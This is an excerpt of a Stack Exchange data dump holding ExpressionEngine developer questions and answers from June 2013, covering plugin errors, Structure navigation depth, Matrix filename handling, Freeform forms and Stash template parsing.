  <row Id="11385" PostTypeId="1" CreationDate="2013-06-20T15:41:46.993" Score="1" ViewCount="1090" Body="&lt;p&gt;Without making any changes to a website, and without the hosting company making any changes to  the server, a site using CT has suddenly started throwing this error using the EE default error template: &quot;Error: Failure when receiving data from the peer (56)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when someone tries to get to the checkout page. Has anyone experienced anything like this before? It happens whether someone's logged in or not in every browser I could test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris from CT is already looking into it, but I thought I'd see if anyone had ever experienced this before.&lt;/p&gt;&#xA;" OwnerUserId="1440" LastActivityDate="2013-06-21T14:30:24.273" Title="Anyone encountered this? &quot;Error: Failure when receiving data from the peer (56)&quot;" Tags="|cartthrob|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11386" PostTypeId="1" CreationDate="2013-06-20T15:43:28.673" Score="2" ViewCount="80" Body="&lt;p&gt;This is a follow on from &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11376/how-can-i-control-the-filenames-of-files-uploaded-via-saef-safecracker-using-saf&quot;&gt;How can I control the filenames of files uploaded via SAEF/Safecracker using Safecracker File in a Matrix?&lt;/a&gt; but is a different topic so I thought I should start a new question for future reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Matrix field that contains a SafeCracker File field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images are uploaded to this field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that if I upload 2 images with filenames that are the same, but of different case, such as TEST.jpg and test.jpg then both images upload fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the back end, on the entry form, the Matrix is displayed correctly with each image being shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when outputting the images on the front end the case of the file gets mixed up and I would see test.jpg output twice. The other file TEST.jpg is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my test code. My Matrix field is called {photos} the Safecracker field within that is called {file}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{photos}&#xA; &amp;lt;p&amp;gt;Row: {row_id}&amp;lt;/p&amp;gt;&#xA; &amp;lt;p&amp;gt;File: {file}&amp;lt;/p&amp;gt;&#xA;{/photos}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the example files above I would &lt;em&gt;expect&lt;/em&gt; to see.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Row: 1&#xA;File: /images/test.jpg&#xA;Row 2&#xA;File: /images/TEST.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in fact I see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Row: 1&#xA;File: /images/test.jpg&#xA;Row 2&#xA;File: /images/test.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since my server is case sensitive it is possible for both of these files to exist so it's causing a problem when the images are being output and the incorrect image is being shown in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone able to shed some light on this or try it out themselves to confirm the problem?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-08-29T12:02:40.240" Title="Problem with Matrix - case insensitivity on filenames" Tags="|matrix|filename|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11387" PostTypeId="2" ParentId="6636" CreationDate="2013-06-20T15:44:49.223" Score="0" Body="&lt;p&gt;Thanks, this was exactly what I was looking for. Updated from 1.6.3 to 1.6.4&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2013-06-20T15:44:49.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11388" PostTypeId="2" ParentId="11376" CreationDate="2013-06-20T16:16:28.397" Score="1" Body="&lt;p&gt;This is probably way overkill for what you need (just posting it here as a solution for others), but Photo Frame can do this no problem. Photo Frame has a feature that allows you to create dynamic file names so the images never get overwritten. You can create filenames in any format you want. So you could do this (any many more formats):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{channel_id}-{entry_id}-{filename}.{extension}&#xA;{filename}-{random_string}.{extension}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It currently won't do the suggested format you mention, but I think that is a solid idea and will add it in the future.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Photo Frame works with Matrix too and you can pretty much control the experience to be whatever you need. Photo Frame is meant to replace the Safecracker File. There are FT settings to make it function in pretty much the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/photo-frame&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/photo-frame&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-06-20T16:16:28.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11389" PostTypeId="2" ParentId="11378" CreationDate="2013-06-20T17:14:39.673" Score="0" Body="&lt;p&gt;I'm not sure about the system ramifications about having non-unique screen names but I'd definitely try to keep them unique, even from an identity point of view. Usually if screen names are used they are to be displayed on the front-end of the site. Identities could quite easily be confused. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other potential downfall is that it makes the use of {screen_name} unsafe for member account operations. Even though you're not using it now you may later forget about your hack and then do a check on the {screen_name} value which could result in incorrect or duplicate returns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd definitely look to try to avoid this as much as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Out of interest is there any particular reason why you need them to NOT be unique?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-20T17:14:39.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11391" PostTypeId="2" ParentId="377" CreationDate="2013-06-20T18:00:35.900" Score="1" Body="&lt;p&gt;I had a similar problem after installing Zoo_Visitor module, to top it off I tried to login over 4 times unsuccessfully I triggered the &quot;Admin-&gt;Session and Security Preferences&quot; I had set to 60 min &quot;Time Interval for Lockout.&quot;  Lame...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this...&#xA; - I logged into my server and PHPmyAdmin db.&#xA; - I went into the &quot;exp_password_lockout&quot; table and deleted the info in there.&#xA; - After that I was able to try an log in again, but for some reason my&#xA;   username and password I've been using still wouldn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I installed Zoo_Visitor module my Username changed to my Email address.  Light Bulb!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried my email address in the &quot;username&quot; field, same password and WHAMMY -&gt; problem solved.&#xA;Good thing because I was about to toss my computer out the window, I hope this helps you out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-cr&lt;/p&gt;&#xA;" OwnerUserId="1683" LastActivityDate="2013-06-20T18:00:35.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11392" PostTypeId="1" CreationDate="2013-06-20T19:17:30.567" Score="0" ViewCount="184" Body="&lt;p&gt;This is confusing and not sure why it is happening. I do not commonly use Structure, so apologize in advance if this is a duh!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:structure:nav add_level_classes='yes' show_depth='2' start_from=&quot;shareholders&quot;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When on any page of the site it shows 2 levels. However when in the actual section that this nav is showing the links to, I get depth of 3. It is almost appears it is pulling them dynamically because if you click on one of those pages you get only that item in the nav. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't see anything in the docs about dynamic navs... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure version is: 3.3.8 EE version is: 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-06-20T19:34:28.317" Title="Structure nav tag changing depth when on page of parent" Tags="|structure|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11393" PostTypeId="2" ParentId="11392" CreationDate="2013-06-20T19:30:20.937" Score="2" Body="&lt;p&gt;I looks like your missing the &lt;code&gt;/&lt;/code&gt; in the &lt;code&gt;start_from&lt;/code&gt; parameter, this could be causing the issue. Also, add the &lt;code&gt;max_depth&lt;/code&gt; parameter like Mark suggested if you want to cap the depth&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:nav add_level_classes='yes' show_depth='2' start_from=&quot;/shareholders&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-06-20T19:30:20.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11394" PostTypeId="2" ParentId="11392" CreationDate="2013-06-20T19:34:28.317" Score="2" Body="&lt;p&gt;I solved the issue by adding max_depth=&quot;2&quot;. It appears that structure dynamically ignores the show_depth parameter when inside that section.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-06-20T19:34:28.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11395" PostTypeId="1" CreationDate="2013-06-20T19:45:51.727" Score="1" ViewCount="1588" Body="&lt;p&gt;Within Structure there is an option to &quot;Hide From Nav&quot;. This works well and hides the choice from the nav tag. However, it also appears to hide it from the tag exp:structure:entries that is being used. Is there a way to keep entries from hiding the page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried override_hidden_state=&quot;yes&quot; however it no effect on the entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-02-26T15:31:03.757" Title="Structure Entries and Hide From Nav" Tags="|structure|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11396" PostTypeId="2" ParentId="11395" CreationDate="2013-06-20T20:19:07.953" Score="1" Body="&lt;p&gt;I believe you need one of the newer (beta) versions of SE. 1.3 or later. There is some info here on their support site and a link to a newer version of SE. I have a vague memory of using this on a project a few months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://getsatisfaction.com/twobelowzero/topics/hide_from_nav_variable&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/twobelowzero/topics/hide_from_nav_variable&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2013-06-20T20:19:07.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11397" PostTypeId="2" ParentId="11305" CreationDate="2013-06-20T20:20:49.220" Score="5" Body="&lt;p&gt;It turns out that the answer was to add a &quot;random&quot; paramater to the plugin tag, in combination with parse=&quot;inward&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From EllisLab: &quot;The random is sort of a hidden trick that is handy in very specific circumstances. Without it, duplicate plugins get replaced by some placeholder text so that the plugin is only run once- and then the content flips into where the placeholder text is. But the way parse order works- if you're using one of those plugins as a parameter, it ends up treating the placeholder string as the parameter value. And basically just does not work. Random causes it to not put in the placeholder text.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found out that you want to use single quotes inside the plugin tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries parse=&quot;inward&quot; channel=&quot;misc{exp:cookie:retrieve name='exp_lang' random}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="897" LastActivityDate="2013-06-20T20:20:49.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11398" PostTypeId="2" ParentId="11395" CreationDate="2013-06-20T20:21:36.277" Score="0" Body="&lt;p&gt;I just had to rewrite the whole thing with a custom query. Not the most fun I have ever had, but at least the relationships were very easy. It would be nice if this would work by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2013-06-20T20:21:36.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11399" PostTypeId="2" ParentId="11380" CreationDate="2013-06-20T20:30:28.097" Score="2" Body="&lt;p&gt;You need to pass the entry_id of the &quot;activities&quot; entry to the template that has the Freeform form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/templategroup/template/{entry_id}&quot;&amp;gt;sign-up for this activity&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the template with the form, you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;activities&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; entry_id=&quot;{segment_x}&quot;}&#xA;{exp:freeform:form&#xA;    form_name=&quot;sign-up&quot;&#xA;    return=&quot;sign-up/thank_you&quot;&#xA;}&#xA;&#xA;&amp;lt;p&amp;gt;Your Activity: &amp;lt;input type=&quot;text&quot; name=&quot;activity&quot; value=&quot;{title}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Your Date: &amp;lt;input type=&quot;text&quot; name=&quot;date&quot; value=&quot;{your_date_field}&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Your Name: &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Your Adress: &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Your Email: &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;button&quot; value=&quot;SEND&quot;  /&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace {segment_x} with the actual segment variable.&lt;/p&gt;&#xA;" OwnerUserId="1684" LastActivityDate="2013-06-20T20:30:28.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11400" PostTypeId="2" ParentId="11052" CreationDate="2013-06-20T21:55:23.787" Score="1" Body="&lt;p&gt;Sounds like this could be cookie issue. If you have Firefox with Firebug, or something similar, check the domain in the cookies that are being sent from the server. The last time I had a problem like this the cookie domain didn't exactly match the domain in the URL. &lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2013-06-20T21:55:23.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11401" PostTypeId="1" CreationDate="2013-06-20T22:05:44.773" Score="2" ViewCount="119" Body="&lt;p&gt;I recently added the &lt;a href=&quot;https://github.com/click-rain/EE_Twitter&quot; rel=&quot;nofollow&quot;&gt;EE Twitter Plug&lt;/a&gt; found on github to replace the Twitter Timeline plugin that stopped working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed all the steps as instructed on the github page. But for some reason when I go to get the pin number, I get an Error message. I have uploaded this plugin to other sites and everything worked fine. I'm not sure what happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this, if so what did you do to solve this issue? Here is what the Error Message reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred Error Number: 1054&#xA;&#xA;Unknown column 'Array' in 'field list'&#xA;&#xA;INSERT INTO `exp_twitter_settings` (`var`, `var_value`, `site_id`) VALUES ('nsm_twitter', Array, '1')&#xA;&#xA;Filename: third_party/twitter/models/twitter_model.php&#xA;&#xA;Line Number: 103&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="26" LastEditDate="2013-06-25T13:19:18.420" LastActivityDate="2013-06-25T13:19:18.420" Title="Getting an 1054 Error with new EE Twitter Plugin" Tags="|ee2|error|twitter|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11402" PostTypeId="1" CreationDate="2013-06-20T23:25:54.607" Score="1" ViewCount="97" Body="&lt;p&gt;I am in the process of completing an upgrade to EE 2.6.1 and I am unable to change the file permissions on config.php, database.php or cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make the changes and it just bounces back. The Owner and Group appear to be okay in the file info. Any clues why this may be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-06-21T08:49:34.863" Title="Why can't I change permissions on config.php or database.php?" Tags="|permissions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11403" PostTypeId="1" CreationDate="2013-06-21T00:05:40.373" Score="5" ViewCount="73" Body="&lt;p&gt;I'm working on getting EE installed on Google Appengine's new PHP runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things are slow, and I'm trying to identify why that might be.  I've disabled most add-ons, and created an EE tag-less template.  The url is a straightforward template-group/template format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be really fast, but I'm seeing a very slow stage I've never seen slow before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.030650/1.42MB) - Parse Current Time Variables&#xA;(0.030660/1.42MB) - Parsing Segment, Embed, and Global Vars Conditionals &#xA;(0.339330/1.43MB) - - Beginning Tag Processing - &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What exactly happens during that Parsing Segment... stage?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2014-01-29T11:46:09.957" Title="What does a slow &quot;Parsing Segment, Embed, and Global Vars Conditionals&quot; log entry mean?" Tags="|performance|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11404" PostTypeId="1" CreationDate="2013-06-21T08:16:42.753" Score="1" ViewCount="84" Body="&lt;p&gt;Scoping out a project that is going to be for Training Courses. Each Course will have a range of Topics and each topic will have a sequence of content followed by a Quiz and finally a summary (including quiz results). A notional structure of the content might look like this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Course&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Topic&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Quiz&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Topic&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Quiz&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Topic&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Content&lt;/li&gt;&#xA;&lt;li&gt;Quiz&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Summary&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As the Topics need to be shared across courses, I'll be creating a Course entry that then uses a relationship field to specific the Topics within it. My problem at the moment is how I might create a set of pages within a Topic...it's almost like entries within an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the quiz component I'm either going to employ the 4-ee.com or eeXam addon, but still evaluating this as they have their own set of problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone any insight into how I might do the Topic pages? My initial thought was to use a Matrix field which each row being a page.&lt;/p&gt;&#xA;" OwnerUserId="347" LastActivityDate="2013-06-21T10:17:58.367" Title="Multiple 'pages' in a single entry" Tags="|pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11405" PostTypeId="2" ParentId="11402" CreationDate="2013-06-21T08:49:34.863" Score="1" Body="&lt;p&gt;Try downloading the files, or renaming them to something else.&#xA;Then create 2 new files directly on the server and copy/paste the contents of the original files into the new files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you created the files, you &lt;em&gt;should&lt;/em&gt; be able to then change the permissions of them.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-21T08:49:34.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11406" PostTypeId="1" AcceptedAnswerId="11407" CreationDate="2013-06-21T09:13:46.673" Score="0" ViewCount="198" Body="&lt;p&gt;I need to create entries with dates and times based upon the timezone they are occurring in and then display them to the user on the front end with all dates/times in both event date/time and a localised date/time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with ExpressionEngine and if so how should I best approach it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it looks like the only real option is to standardise all dates/times entered via the CMS to UTC/GMT and use the users timezone preference to display the dates/times relative to where they are...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a custom field that specifies timezone for an event and then offset the display date/time accordingly on the front end using a custom plug-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other thoughts?&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2013-06-21T09:23:15.787" LastActivityDate="2013-06-21T09:57:52.633" Title="Entries with different time zones" Tags="|date|timezone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11407" PostTypeId="2" ParentId="11406" CreationDate="2013-06-21T09:57:52.633" Score="0" Body="&lt;p&gt;If you store all entry dates as UTC you could manipulate what is displayed to the user by using Javascript to detect their timezone offset and adjust your date/time accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the time zone offset you can use the getTimezoneOffset() method of the Date() object in Javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO the only even remotely reliable way to do it is by looking at the user's browser. Of course, you are relying on them having it set correctly in the first place!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It kind of depends on how much you want to use a client side vs a server side approach.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-21T09:57:52.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11408" PostTypeId="2" ParentId="11404" CreationDate="2013-06-21T10:17:58.367" Score="1" Body="&lt;p&gt;Would Playa work for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a channel for your &quot;pages&quot;.&#xA;Create a Playa field within your courses channel and hook it up to the Pages channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin would then be able to select which pages are associated to the course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that I might also go with a Matrix field with each row being a &quot;page&quot; but really it depends on how complex the pages were and how many fields I would need for each page. Also the complexity of the navigation might be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I think about it I would probably go with the Playa option.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-21T10:17:58.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11409" PostTypeId="1" CreationDate="2013-06-21T10:18:49.353" Score="0" ViewCount="141" Body="&lt;p&gt;I have EE configured to save my templates as files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had several different template groups that I deleted via FTP. I clicked on &quot;Synchronize Templates&quot; and ticked all the boxes, and hit submit. I no longer see those templates listed under the Synchronize Templates page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However... &lt;strong&gt;The template groups are still listed under the &lt;em&gt;Design --&gt; Templates --&gt; Edit&lt;/em&gt; dropdown menu.&lt;/strong&gt; There doesn't seem to be any way to get rid of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling it's because I have Save Revisions turned on. I can see old templates that have clearly been deleted, so opening them up in the EE editor will show an empty file - but with several revisions available to restore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an ExpressionEngine bug, or is there any way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="742" LastActivityDate="2013-06-21T13:41:36.887" Title="Synchronize Templates - I've deleted templates, but they're still listed under the &quot;Design&quot; menu" Tags="|templates|bug|sync|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11410" PostTypeId="2" ParentId="9100" CreationDate="2013-06-21T11:32:32.360" Score="1" Body="&lt;p&gt;Might be a bit late now, but have you tries here: &lt;a href=&quot;https://github.com/CartThrob/cartthrob-discounts-buy_x_get_y&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CartThrob/cartthrob-discounts-buy_x_get_y&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2013-06-21T11:32:32.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11411" PostTypeId="2" ParentId="11379" CreationDate="2013-06-21T12:25:55.643" Score="2" Body="&lt;p&gt;Mike above is right that you need Stash 2.2.0 or later to use &lt;code&gt;process=&quot;end&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your code has another problem. You are looping over channel entries, then looping over the parents of each entry, then finally looping over the categories assigned to each parent. Let me show you how that would be parsed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Start --}&#xA;{exp:channel:entries channel=&quot;campus&quot; category=&quot;not 156&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;   {exp:playa:parents channel=&quot;classes&quot; category=&quot;304&quot; disable=&quot;&quot;}&#xA;      {categories}&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            {classes_wufoo_id}&#xA;         {/exp:stash:set}&#xA;      {/categories}&#xA;   {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&#xA;{!-- After first pass, if 2 entries --}&#xA;&#xA;   {exp:playa:parents entry_id=&quot;1&quot; channel=&quot;classes&quot; category=&quot;304&quot; disable=&quot;&quot;}&#xA;      {categories}&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            {classes_wufoo_id}&#xA;         {/exp:stash:set}&#xA;      {/categories}&#xA;   {/exp:playa:parents}&#xA;&#xA;   {exp:playa:parents entry_id=&quot;1&quot; channel=&quot;classes&quot; category=&quot;304&quot; disable=&quot;&quot;}&#xA;      {categories}&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            {classes_wufoo_id}&#xA;         {/exp:stash:set}&#xA;      {/categories}&#xA;   {/exp:playa:parents}&#xA;&#xA;&#xA;   {!-- During second pass, if 2 parents for each entry --}&#xA;&#xA;&#xA;      {categories}&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            {classes_wufoo_id}&#xA;         {/exp:stash:set}&#xA;      {/categories}&#xA;&#xA;      {categories}&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            {classes_wufoo_id}&#xA;         {/exp:stash:set}&#xA;      {/categories}&#xA;&#xA;      {categories}&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            {classes_wufoo_id}&#xA;         {/exp:stash:set}&#xA;      {/categories}&#xA;&#xA;      {categories}&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            {classes_wufoo_id}&#xA;         {/exp:stash:set}&#xA;      {/categories}&#xA;&#xA;&#xA;   {!-- During second pass, if 2 categories for each parent --}&#xA;&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            1&#xA;         {/exp:stash:set}&#xA;&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            5&#xA;         {/exp:stash:set}&#xA;&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            2&#xA;         {/exp:stash:set}&#xA;&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            7&#xA;         {/exp:stash:set}&#xA;&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            9&#xA;         {/exp:stash:set}&#xA;&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            2&#xA;         {/exp:stash:set}&#xA;&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            1&#xA;         {/exp:stash:set}&#xA;&#xA;         {exp:stash:set name=&quot;wufoo_id&quot;}&#xA;            9&#xA;         {/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, you appear to be trying to capture only a &lt;em&gt;single&lt;/em&gt; variable. Did you instead want a list?&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-06-21T12:25:55.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
